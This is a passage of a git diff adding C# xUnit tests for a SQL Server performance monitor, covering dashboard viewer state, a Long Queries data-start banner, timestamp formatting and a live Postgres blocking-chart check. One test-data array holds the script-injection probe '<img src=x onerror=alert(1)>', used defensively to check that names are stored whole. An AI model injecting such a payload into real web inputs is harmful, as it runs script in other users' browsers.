         Assert.Equal(0L, measured.DeltaSpins);   // a measured zero stays a zero
         Assert.Equal("120", measured.IntervalDisplay);
 
         var preV127 = new LatchStatsSnapshotRow("LOG_MANAGER", 0, 0, 0,
-            DeltaSeriesShaping.ReadableDelta(100, null), DeltaSeriesShaping.ReadableDelta(4000, null), null);
+            DeltaSeriesShaping.ReadableDelta(100, null), DeltaSeriesShaping.ReadableDelta(4000, null), null, DateTime.UnixEpoch);
         Assert.False(preV127.IsUnknowable);
         Assert.Equal(4000L, preV127.DeltaWaitTimeMs);
         Assert.Equal("not stored", preV127.IntervalDisplay);
diff --git a/Darling/Darling.Tests/ViewerLocalStateBehaviourTests.cs b/Darling/Darling.Tests/ViewerLocalStateBehaviourTests.cs
new file mode 100644
index 0000000000..8010eb0ab0
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerLocalStateBehaviourTests.cs
@@ -0,0 +1,244 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The web dashboard's per-browser viewer state (<c>viewer-local.js</c>: favourites, acknowledgements, the alert-count
+/// badge, severity colours, the collapsed sidebar), run under Node against a stubbed <c>localStorage</c>
+/// (<c>viewer-local-harness.mjs</c>). Node is skipped when it is not installed.
+/// </summary>
+public sealed class ViewerLocalStateBehaviourTests
+{
+    private static bool TryRun(string scenario, out JsonElement result)
+    {
+        result = default;
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "viewer-local-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "viewer-local.js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return false;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the viewer-local harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the viewer-local harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            result = doc.RootElement.Clone();
+            return true;
+        }
+    }
+
+    private static int[] Ints(JsonElement node) => node.EnumerateArray().Select(e => e.GetInt32()).ToArray();
+
+    [Fact]
+    public void AFavourite_SortsFirst_AndSurvivesARebuild()
+    {
+        if (!TryRun("favorites", out var r)) return;
+
+        Assert.Equal(new[] { 3, 1, 2 }, Ints(r.GetProperty("sorted")));
+        Assert.True(r.GetProperty("afterReload").GetBoolean());
+        Assert.False(r.GetProperty("afterUntoggle").GetBoolean());
+        Assert.Equal(1, r.GetProperty("stored").GetProperty("v").GetInt32());
+    }
+
+    [Fact]
+    public void Acknowledge_QuietsTheBadgeUntilANewerAlert_AndSurvivesARebuild()
+    {
+        if (!TryRun("ack", out var r)) return;
+
+        var before = r.GetProperty("before");
+        Assert.Equal(2, before.GetProperty("count").GetInt32());
+        Assert.True(before.GetProperty("critical").GetBoolean());
+        Assert.True(before.GetProperty("show").GetBoolean());
+        Assert.Equal(0, r.GetProperty("mutedAndResolved").GetProperty("count").GetInt32());
+        Assert.Equal(0, r.GetProperty("dismissed").GetProperty("count").GetInt32());
+
+        Assert.False(r.GetProperty("acked").GetProperty("show").GetBoolean());
+        Assert.False(r.GetProperty("afterReloadSameRows").GetProperty("show").GetBoolean());
+        Assert.True(r.GetProperty("afterNewer").GetProperty("show").GetBoolean());
+        Assert.False(r.GetProperty("persistedCleared").GetBoolean());
+    }
+
+    [Fact]
+    public void AbsentCorruptOrForeignStorage_DegradesToDefaults_WithoutThrowing()
+    {
+        if (!TryRun("corrupt", out var r)) return;
+
+        foreach (var name in new[] { "garbage", "arrayRoot", "nullRoot", "foreignVersion", "wrongTypes" })
+        {
+            var c = r.GetProperty("results").GetProperty(name);
+            Assert.Equal(JsonValueKind.Object, c.ValueKind);
+            Assert.Empty(c.GetProperty("fav").EnumerateArray());
+            Assert.Empty(c.GetProperty("ack").EnumerateArray());
+            Assert.All(c.GetProperty("colors").EnumerateArray(), e => Assert.Equal(JsonValueKind.Null, e.ValueKind));
+            Assert.False(c.GetProperty("collapsed").GetBoolean());
+        }
+
+        // A right-version value keeps only its valid entries.
+        var bad = r.GetProperty("results").GetProperty("badEntries");
+        Assert.Equal(new[] { 1, 7 }, Ints(bad.GetProperty("fav")));
+        Assert.All(bad.GetProperty("colors").EnumerateArray(), e => Assert.Equal(JsonValueKind.Null, e.ValueKind));
+        Assert.False(bad.GetProperty("collapsed").GetBoolean());
+
+        Assert.False(r.GetProperty("unreadable").GetProperty("fav").GetBoolean());
+        Assert.True(r.GetProperty("unwritableStillWorksInSession").GetBoolean());
+        Assert.False(r.GetProperty("noStorage").GetBoolean());
+    }
+
+    [Fact]
+    public void ASeverityColour_IsOnlyEverAHexLiteral_ElseThePaletteDefault()
+    {
+        if (!TryRun("colors", out var r)) return;
+
+        Assert.Equal("#aabbcc", r.GetProperty("good").GetString());
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("afterBad").ValueKind);
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("unknownSeverity").ValueKind);
+        Assert.Equal("#aabbcc", r.GetProperty("props").GetProperty("--sev-critical").GetString());
+        Assert.Single(r.GetProperty("props").EnumerateObject());
+        Assert.Equal("#aabbcc", r.GetProperty("afterReload").GetString());
+
+        var edited = r.GetProperty("handEdited").EnumerateArray().ToArray();
+        Assert.Equal(JsonValueKind.Null, edited[0].ValueKind);
+        Assert.Equal("#00ff00", edited[1].GetString());
+    }
+
+    [Fact]
+    public void TheCollapsedSidebar_IsRemembered()
+    {
+        if (!TryRun("sidebar", out var r)) return;
+
+        Assert.False(r.GetProperty("initial").GetBoolean());
+        Assert.True(r.GetProperty("afterReload").GetBoolean());
+        Assert.False(r.GetProperty("afterExpand").GetBoolean());
+    }
+
+    [Fact]
+    public void TheBadgeCounts_ShareOneFleetWideAlertRead_AndKeepTheLastCountsWhenARefreshFails()
+    {
+        if (!TryRun("oneRead", out var r)) return;
+
+        Assert.Equal(1, r.GetProperty("readsWithinTtl").GetInt32());
+        Assert.Equal(1, r.GetProperty("count").GetInt32());
+        Assert.Equal(2, r.GetProperty("readsAfterTtl").GetInt32());
+        Assert.Equal(1, r.GetProperty("countAfterFailedRead").GetInt32());
+    }
+
+    private static string[] Strings(JsonElement node) => node.EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    /// <summary>The six awkward names a database filter must keep as six single names: a comma, a bracket, a leading space, a
+    /// quote, a percent sign with a plus, and markup. None is split, trimmed, decoded or interpreted.</summary>
+    internal static readonly string[] AwkwardDatabaseNames =
+        { "A,B", "x]", " SalesDb", "O'Brien", "50%+off", "<img src=x onerror=alert(1)>" };
+
+    [Fact]
+    public void TheDatabaseFilter_IsSavedPerServerId_AndSurvivesARebuild_WithTheAwkwardNamesWhole()
+    {
+        if (!TryRun("dbFilter", out var r)) return;
+
+        Assert.Empty(r.GetProperty("none").EnumerateArray());
+        Assert.True(r.GetProperty("setSix").GetBoolean());
+        var perId = r.GetProperty("perId");
+        Assert.Equal(AwkwardDatabaseNames, Strings(perId[0]));
+        Assert.Equal(new[] { "Other" }, Strings(perId[1]));
+        Assert.Empty(perId[2].EnumerateArray());
+        Assert.Equal(AwkwardDatabaseNames, Strings(r.GetProperty("afterReload")));
+        var stored = r.GetProperty("stored");
+        Assert.Equal(1, stored.GetProperty("v").GetInt32());
+        Assert.Equal(AwkwardDatabaseNames, Strings(stored.GetProperty("servers").GetProperty("3")));
+        Assert.Equal(6, r.GetProperty("noCopyLeak").GetInt32());
+
+        var cleared = r.GetProperty("afterClear");
+        Assert.Empty(cleared[0].EnumerateArray());
+        Assert.Equal(new[] { "Other" }, Strings(cleared[1]));
+        // Exactly the names given: a duplicate goes, case and spaces stay.
+        Assert.Equal(new[] { "b", "B", " b" }, Strings(r.GetProperty("exact")));
+    }
+
+    [Fact]
+    public void TheDatabaseFilter_ReadsASetOverTheCapOrTheByteBudgetAsNone_NeverATruncatedSet()
+    {
+        if (!TryRun("dbFilter", out var r)) return;
+
+        Assert.True(r.GetProperty("set50").GetBoolean());
+        Assert.Equal(50, r.GetProperty("len50").GetInt32());
+        Assert.False(r.GetProperty("set51").GetBoolean());
+        Assert.Equal(50, r.GetProperty("len51Kept").GetInt32());
+        Assert.Empty(r.GetProperty("stored51").EnumerateArray());
+
+        // 60 CJK characters encode to 540 bytes, so 7 such names fit 4,096 and 50 do not.
+        Assert.Equal(557, r.GetProperty("longBytes").GetInt32());
+        Assert.True(r.GetProperty("fitsBytes").GetInt32() <= 4096);
+        Assert.True(r.GetProperty("fitSet").GetBoolean());
+        Assert.Empty(r.GetProperty("storedOverBudget").EnumerateArray());
+        Assert.False(r.GetProperty("setOverBudget").GetBoolean());
+        Assert.Empty(r.GetProperty("overBudgetKept").EnumerateArray()); // the refused set changed nothing
+    }
+
+    [Fact]
+    public void TheDatabaseFilter_AForeignVersionOrCorruptOrHandEditedValue_ReadsAsNone_WithoutThrowing()
+    {
+        if (!TryRun("dbFilter", out var r)) return;
+
+        Assert.Empty(r.GetProperty("foreignVersion").EnumerateArray());
+        Assert.Empty(r.GetProperty("garbage").EnumerateArray());
+        foreach (var w in r.GetProperty("wrongTypes").EnumerateArray()) Assert.Empty(w.EnumerateArray());
+        foreach (var b in r.GetProperty("badId").EnumerateArray()) Assert.False(b.GetBoolean());
+        // With private mode or a full quota the choice holds for the page load only.
+        Assert.True(r.GetProperty("setNoStorage").GetBoolean());
+        Assert.Equal(new[] { "A" }, Strings(r.GetProperty("heldNoStorage")));
+    }
+
+    [Fact]
+    public void TheShell_WiresTheControlsInAtModuleScope_WithoutTouchingPanelsOrTheApi()
+    {
+        var app = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "app.js");
+        var fleet = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "fleet.js");
+        var sidebar = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "sidebar.js");
+        var ui = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "viewer-local-ui.js");
+        var local = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "viewer-local.js");
+        var theme = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "css", "theme.css");
+
+        Assert.Contains("favoritesFirst", sidebar);
+        Assert.Contains("alertBadge(c.server_id)", sidebar);
+        Assert.Contains("paintServerList(serverList,", app);
+        Assert.Contains("refreshAttention(readTool)", app);
+        Assert.Contains("initSidebarCollapse", app);
+        Assert.Contains("favoritesFirst(SORTS[fleetSort]", fleet);
+        Assert.Contains("alertBadge(c.server_id)", fleet);
+        Assert.DoesNotContain("sev-", theme);
+        Assert.DoesNotContain("innerHTML", ui);
+        Assert.DoesNotContain("innerHTML", local);
+        Assert.DoesNotContain("fetch(", local);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerLongQueriesDataStartTests.cs b/Darling/Darling.Tests/ViewerLongQueriesDataStartTests.cs
new file mode 100644
index 0000000000..23fda0a549
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerLongQueriesDataStartTests.cs
@@ -0,0 +1,185 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Controls;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The desktop viewer's Long Queries grid says where its data starts (#4966). The read windows on <c>collection_time</c> but
+/// the grid shows <c>event_time</c>, and the first collection of the session stores the events its ring buffer still held, so
+/// a row can carry an event time from before the coverage the probe found: the notice names the earlier of the coverage start
+/// and the earliest event the grid shows. The read keeps the newest 200 rows, so a full page names its oldest row.
+/// </summary>
+/* The banner's time text reads the process-wide display mode, which these tests set (restored in Dispose); one shared
+   collection serializes it with every other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerLongQueriesDataStartTests : IDisposable
+{
+    private readonly TimeDisplayMode _savedMode = ViewerTimeHelper.CurrentDisplayMode;
+
+    public void Dispose() => ViewerTimeHelper.CurrentDisplayMode = _savedMode;
+
+    private static readonly DateTime RangeStart = new(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+
+    private static string ViewerFile(string file) => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file);
+
+    private static int Matches(string source, string pattern) => Regex.Matches(source, pattern).Count;
+
+    private static string MethodBody(string source, string signaturePattern)
+    {
+        var match = Regex.Match(source, signaturePattern + @".*?\r?\n    \}\r?\n", RegexOptions.Singleline);
+        Assert.True(match.Success, $"{signaturePattern} was not found");
+        return match.Value;
+    }
+
+    // ── The cap and the probe ──
+
+    [Fact]
+    public void TheCap_IsTheLimitOfTheRead()
+    {
+        Assert.Equal(200, ViewerDataService.LongQueriesRowCap);
+        Assert.Contains($"LIMIT {ViewerDataService.LongQueriesRowCap}", ViewerDataService.LongQueryCompletionsSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheProbe_GoesThroughTheSharedFloor_OverTheCollectorTable_OnCollectionTime()
+    {
+        var source = ViewerFile("ViewerDataService.LongQueries.cs");
+
+        Assert.Contains("DataWindowFloor.Source.ForCollectorTable(\"long_query_completions\")", source, StringComparison.Ordinal);
+        Assert.Contains("DataWindowFloor.GetForServerAsync(", source, StringComparison.Ordinal);
+        /* The grid windows on collection_time, the probe's own column; the event time it shows is the caller's to compare. */
+        Assert.Equal("collection_time", DataWindowFloor.Source.ForCollectorTable("long_query_completions").TimeColumn);
+        Assert.Contains("collection_time >= $2", ViewerDataService.LongQueryCompletionsSql, StringComparison.Ordinal);
+    }
+
+    // ── The tab: the probe beside the read, the banner from the rows shown ──
+
+    [Fact]
+    public void LongQueries_AsksAboutTheWindowItDraws_AndNamesTheEventTimeOfEachRowItShows_UpToItsCap()
+    {
+        var load = MethodBody(ViewerFile("ViewerServerTab.LongQueries.cs"), @"private async Task LoadLongQueriesAsync\(");
+
+        Assert.Equal(1, Matches(load, @"var dataStartTask = Timed\(timer, ""data start"", _dataService\.GetLongQueriesDataStartAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\)\);"));
+        Assert.Equal(1, Matches(load,
+            @"await ShowEventDataStartAsync\(LongQueriesTruncationBanner,\s*dataStartTask,\s*""Long Queries"",\s*startUtc,\s*rows\.Select\(r => r\.EventTime\),\s*ViewerDataService\.LongQueriesRowCap\);"));
+    }
+
+    /* A census over every server-tab file: each read of the grid's rows is paired with its probe, so a second read path added
+       later without one fails here instead of shipping with a stale banner. */
+    [Fact]
+    public void EveryTabRead_OfTheGrid_HasItsProbe_AndNoneIsAwaitedBare()
+    {
+        var tabs = string.Join("\n", Directory.GetFiles(PathTo("Darling", "PerformanceMonitor.Darling.Viewer"), "ViewerServerTab*.cs").Select(File.ReadAllText));
+
+        Assert.Equal(1, Matches(tabs, @"_dataService\.GetRecentLongQueryCompletionsAsync\("));
+        Assert.Equal(1, Matches(tabs, @"_dataService\.GetLongQueriesDataStartAsync\("));
+        Assert.Equal(1, Matches(tabs, @"ShowEventDataStartAsync\(LongQueriesTruncationBanner,"));
+        Assert.DoesNotContain("await dataStartTask", ViewerFile("ViewerServerTab.LongQueries.cs"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheBanner_SitsAboveTheGrid_InTheExistingStyle()
+    {
+        var xaml = ViewerFile("ViewerServerTab.xaml");
+
+        var banner = Regex.Match(xaml, @"<TextBlock Grid\.Row=""2"" x:Name=""LongQueriesTruncationBanner""[^>]*/>");
+        Assert.True(banner.Success, "LongQueriesTruncationBanner is not declared in ViewerServerTab.xaml, in the row above the grid");
+        Assert.Contains("Visibility=\"Collapsed\"", banner.Value, StringComparison.Ordinal);
+        Assert.Contains("Background=\"#22FFAA00\"", banner.Value, StringComparison.Ordinal);
+        Assert.Matches(@"<DataGrid Grid\.Row=""3"" x:Name=""LongQueryCompletionsGrid""", xaml);
+    }
+
+    // ── What the banner shows ──
+
+    /* The banner raised for the probe's answer and the rows the grid shows (their event times), read off the control; null when
+       it is hidden. Seeded visible, so a no-op cannot pass as a hidden banner. */
+    private static string? BannerFor(DateTime? coverageStartUtc, IEnumerable<DateTime?> eventTimes, int? rowCap = ViewerDataService.LongQueriesRowCap)
+    {
+        string? text = null;
+        StaTestThread.Run(() =>
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            var banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+            var rows = eventTimes.Select(t => new ViewerLongQueryRow { EventTime = t }).ToList();
+
+            ViewerServerTab.ShowEventDataStartAsync(
+                banner, Task.FromResult(coverageStartUtc), "Long Queries", RangeStart, rows.Select(r => r.EventTime), rowCap).GetAwaiter().GetResult();
+
+            text = banner.Visibility == Visibility.Visible ? banner.Text : null;
+        });
+        return text;
+    }
+
+    private static DateTime? At(int days, int hours = 0) => RangeStart.AddDays(days).AddHours(hours);
+
+    /* Rows start inside the range: the first event came after the coverage began. The notice reads back the coverage start. */
+    [Fact]
+    public void RowsThatStartInsideTheRange_RaiseTheNotice_AtTheCoverageStart()
+    {
+        Assert.Equal("Showing since 2026-09-04 00:00:00", BannerFor(At(3), [At(3, 6), At(5)]));
+    }
+
+    /* A quiet start: the store covered the whole range, and the first event came 5 hours in. No notice. */
+    [Fact]
+    public void AQuietStart_RaisesNoNotice()
+    {
+        Assert.Null(BannerFor(At(-20), [At(0, 5), At(2)]));
+    }
+
+    /* The first collection stored events from before the coverage: the notice names the grid's earliest event, not the later coverage. */
+    [Fact]
+    public void HistoryThatReachesBeforeTheCoverage_RaisesTheNotice_AtTheHistorysStart()
+    {
+        Assert.Equal("Showing since 2026-09-02 00:00:00", BannerFor(At(3), [At(1), At(3, 6)]));
+    }
+
+    /* History that reaches the range start gives no notice, though the coverage starts days later. */
+    [Fact]
+    public void HistoryThatReachesTheRangeStart_RaisesNoNotice()
+    {
+        Assert.Null(BannerFor(At(3), [At(0), At(3, 6)]));
+    }
+
+    /* A row with no event time cannot name a start, so it is ignored. */
+    [Fact]
+    public void ARowWithNoEventTime_IsIgnored()
+    {
+        Assert.Equal("Showing since 2026-09-03 00:00:00", BannerFor(At(3), [null, At(2)]));
+    }
+
+    /* A full page of the newest 200 rows whose oldest event came 3 days into the range names that event, though the store covers
+       the whole range (coverage 20 days before it); one row fewer is the whole range and raises none. */
+    [Fact]
+    public void AFullPage_RaisesTheNotice_AtItsOldestRow_AndOneRowFewerRaisesNone()
+    {
+        var oldest = RangeStart.AddDays(3);
+        IEnumerable<DateTime?> Page(int count) => Enumerable.Range(0, count).Select(i => (DateTime?)oldest.AddMinutes(i));
+
+        Assert.Equal("Showing since 2026-09-04 00:00:00", BannerFor(At(-20), Page(ViewerDataService.LongQueriesRowCap)));
+        Assert.Null(BannerFor(At(-20), Page(ViewerDataService.LongQueriesRowCap - 1)));
+        /* The notice comes from the rows, so a probe with no answer does not hide it. */
+        Assert.Equal("Showing since 2026-09-04 00:00:00", BannerFor(null, Page(ViewerDataService.LongQueriesRowCap)));
+    }
+
+    /* WPF objects require STA; same shape as ViewerEventDataStartTests. */
+}
diff --git a/Darling/Darling.Tests/ViewerNotificationRouteDisplayTests.cs b/Darling/Darling.Tests/ViewerNotificationRouteDisplayTests.cs
index 377b644d0d..4eed8c3edf 100644
--- a/Darling/Darling.Tests/ViewerNotificationRouteDisplayTests.cs
+++ b/Darling/Darling.Tests/ViewerNotificationRouteDisplayTests.cs
@@ -37,7 +37,7 @@ public sealed class ViewerNotificationRouteDisplayTests : IDisposable
 
     public ViewerNotificationRouteDisplayTests()
     {
-        /* "g" runs on the current culture, as every grid's text does; the invariant one fixes its pattern (MM/dd/yyyy HH:mm). */
+        /* The time is culture-independent (yyyy-MM-dd HH:mm:ss, like every other grid); the invariant culture is kept so nothing else varies. */
         CultureInfo.CurrentCulture = CultureInfo.InvariantCulture;
     }
 
@@ -61,13 +61,13 @@ public void Modified_InTheRepeatedHour_ReadsItsOffsetInServerMode_AndTheStoredIn
         ViewerTimeHelper.ActiveServerClock = Eastern;
 
         ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.ServerTime;
-        Assert.Equal("11/01/2026 01:30 -04:00", Route(2026, 11, 1, 5, 30).ModifiedDisplay);
-        Assert.Equal("11/01/2026 01:30 -05:00", Route(2026, 11, 1, 6, 30).ModifiedDisplay);
-        Assert.Equal("11/01/2026 02:30", Route(2026, 11, 1, 7, 30).ModifiedDisplay);
+        Assert.Equal("2026-11-01 01:30:00 -04:00", Route(2026, 11, 1, 5, 30).ModifiedDisplay);
+        Assert.Equal("2026-11-01 01:30:00 -05:00", Route(2026, 11, 1, 6, 30).ModifiedDisplay);
+        Assert.Equal("2026-11-01 02:30:00", Route(2026, 11, 1, 7, 30).ModifiedDisplay);
 
         ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
-        Assert.Equal("11/01/2026 05:30", Route(2026, 11, 1, 5, 30).ModifiedDisplay);
-        Assert.Equal("11/01/2026 06:30", Route(2026, 11, 1, 6, 30).ModifiedDisplay);
+        Assert.Equal("2026-11-01 05:30:00", Route(2026, 11, 1, 5, 30).ModifiedDisplay);
+        Assert.Equal("2026-11-01 06:30:00", Route(2026, 11, 1, 6, 30).ModifiedDisplay);
     }
 
     /// <summary>The column follows the display mode: a summer instant on the Eastern server reads its wall time, not this machine's.</summary>
@@ -77,7 +77,7 @@ public void Modified_InServerMode_ReadsTheServersWallTime_WhateverThisMachinesZo
         ViewerTimeHelper.ActiveServerClock = Eastern;
         ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.ServerTime;
 
-        Assert.Equal("07/01/2026 10:30", Route(2026, 7, 1, 14, 30).ModifiedDisplay);
+        Assert.Equal("2026-07-01 10:30:00", Route(2026, 7, 1, 14, 30).ModifiedDisplay);
     }
 
     /// <summary>A route that has not been stored yet has no time to show.</summary>
@@ -95,7 +95,7 @@ public void Modified_IsWordedByTheSharedRenderer()
             ViewerTypedRangeTests.MemberText(
                 ViewerTypedRangeTests.ViewerSource("ViewerDataService.NotificationRoutes.cs", ThisFile()), "ModifiedDisplay"));
 
-        Assert.Contains("ViewerTimeHelper.FormatForDisplay(ModifiedAtUtc, \"g\")", source);
+        Assert.Contains("ViewerTimeHelper.FormatForDisplay(ModifiedAtUtc, \"yyyy-MM-dd HH:mm:ss\")", source);
         Assert.DoesNotContain("ToLocalTime", source);
     }
 
diff --git a/Darling/Darling.Tests/ViewerOverviewBlockingLaneDataStartLiveTests.cs b/Darling/Darling.Tests/ViewerOverviewBlockingLaneDataStartLiveTests.cs
new file mode 100644
index 0000000000..4bc58b8f26
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerOverviewBlockingLaneDataStartLiveTests.cs
@@ -0,0 +1,192 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Overview's blocking chart against a real store (#4966): the chart's two coverage probes and its two trend reads, run the way the
+/// control runs them, then the chart's own choice (<c>ViewerBlockingLaneDataStart.ChooseAsync</c>). Own-store: this reaches
+/// DARLING_TEST_PG only to create and drop its own database.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to CREATE
+   and DROP its own scratch database. */
+public sealed class ViewerOverviewBlockingLaneDataStartLiveTests
+{
+    private const int LaterDeadlocksServerId = -496701;
+    private const int EarlyBarServerId = -496702;
+    private const int OneSeriesServerId = -496703;
+    private const int NeitherServerId = -496704;
+
+    /* Added 2 days ago, its blocking rows start then and its deadlocks reach 3 days back (the first collection stores history): the blocking
+       series starts later, so the chart names it, true of both series. */
+    [Fact]
+    public async Task TheLane_NamesTheLaterOfTheTwoSeriesStarts_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        var start = await store.LaneStartAsync(LaterDeadlocksServerId, ct);
+
+        Assert.Equal(store.End.AddDays(-2), start);
+    }
+
+    /* Blocking rows reach 4 days back and deadlocks 3, both before the server's first collection: each series starts at its earliest bar, and the
+       chart names the later, the deadlocks'. */
+    [Fact]
+    public async Task ABarBeforeTheCoverage_MovesItsSeriesBack_ButTheLaterSeriesIsStillNamed_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        Assert.Equal(store.End.AddDays(-3), await store.LaneStartAsync(EarlyBarServerId, ct));
+    }
+
+    /* Added 3 days ago with no blocking and no deadlock row: only the deadlocks collector has run, so the chart names that series' start (the first collection). A server with neither collector names nothing. */
+    [Fact]
+    public async Task OneSeriesAnswering_IsNamed_AndNeitherNamesNothing_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        Assert.Equal(store.End.AddDays(-3), await store.LaneStartAsync(OneSeriesServerId, ct));
+        Assert.Null(await store.LaneStartAsync(NeitherServerId, ct));
+    }
+
+    /* A probe fault costs the note and never the bars: the deadlocks table is renamed so its probe and its trend read fail, and the
+       blocking series still answers. */
+    [Fact]
+    public async Task AFailingProbe_CostsOnlyItsSeries_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+        await store.RenameDeadlocksAsync(ct);
+
+        Assert.Equal(store.End.AddDays(-2), await store.LaneStartAsync(LaterDeadlocksServerId, ct, deadlockBars: false));
+    }
+
+    private sealed class Store : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+
+        private Store(ScratchPostgres scratch, ViewerDataService viewer, DateTime end)
+        {
+            _scratch = scratch;
+            Viewer = viewer;
+            End = end;
+        }
+
+        public ViewerDataService Viewer { get; }
+
+        public DateTime End { get; }
+
+        public DateTime Start => End.AddDays(-7);
+
+        /// <summary>The chart's choice over the viewer's real reads, in the order the control makes them: the trends, then the two probes.</summary>
+        public async Task<DateTime?> LaneStartAsync(int serverId, CancellationToken ct, bool deadlockBars = true)
+        {
+            var blocking = await Viewer.GetBlockingTrendAsync(serverId, Start, End);
+            var deadlocks = deadlockBars ? await Viewer.GetDeadlockTrendAsync(serverId, Start, End) : [];
+            return await ViewerBlockingLaneDataStart.ChooseAsync(
+                Viewer.GetBlockedProcessReportsDataStartAsync(serverId, Start, End, ct),
+                Viewer.GetDeadlocksDataStartAsync(serverId, Start, End, ct),
+                blocking.Select(b => b.Time),
+                deadlocks.Select(d => d.Time));
+        }
+
+        public async Task RenameDeadlocksAsync(CancellationToken ct)
+        {
+            await using var connection = new NpgsqlConnection(_scratch.ConnectionString);
+            await connection.OpenAsync(ct);
+            await using var rename = new NpgsqlCommand("ALTER TABLE collect.deadlocks RENAME TO deadlocks_renamed", connection);
+            await rename.ExecuteNonQueryAsync(ct);
+        }
+
+        public static async Task<Store> CreateAsync(CancellationToken ct)
+        {
+            var scratch = await QueryGridSeed.OpenScratchAsync(ct);
+            try
+            {
+                var end = QueryGridSeed.NowToTheMinute();
+                var deadlockCollector = DataWindowFloor.Source.ForCollectorTable("deadlocks").CollectorName!;
+                await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+                {
+                    await connection.OpenAsync(ct);
+                    await PgMigrations.MigrateAsync(connection, ct);
+
+                    /* The coverage of both series starts at the server's first collection, or at an earlier row in the window. */
+                    await EventGridSeed.AddServerAsync(connection, LaterDeadlocksServerId, "bl-later", end.AddDays(-2), deadlockCollector, end, clockOffsetMinutes: null, ct);
+                    await InsertBlockingAsync(connection, LaterDeadlocksServerId, "bl-later", end.AddDays(-2), end, ct);
+                    await InsertDeadlockAsync(connection, LaterDeadlocksServerId, "bl-later", end.AddDays(-3), end, ct);
+
+                    await EventGridSeed.AddServerAsync(connection, EarlyBarServerId, "bl-early", end.AddDays(-2), deadlockCollector, end, clockOffsetMinutes: null, ct);
+                    await InsertBlockingAsync(connection, EarlyBarServerId, "bl-early", end.AddDays(-4), end, ct);
+                    await InsertDeadlockAsync(connection, EarlyBarServerId, "bl-early", end.AddDays(-3), end, ct);
+
+                    await EventGridSeed.AddServerAsync(connection, OneSeriesServerId, "bl-one", end.AddDays(-3), deadlockCollector, end, clockOffsetMinutes: null, ct);
+
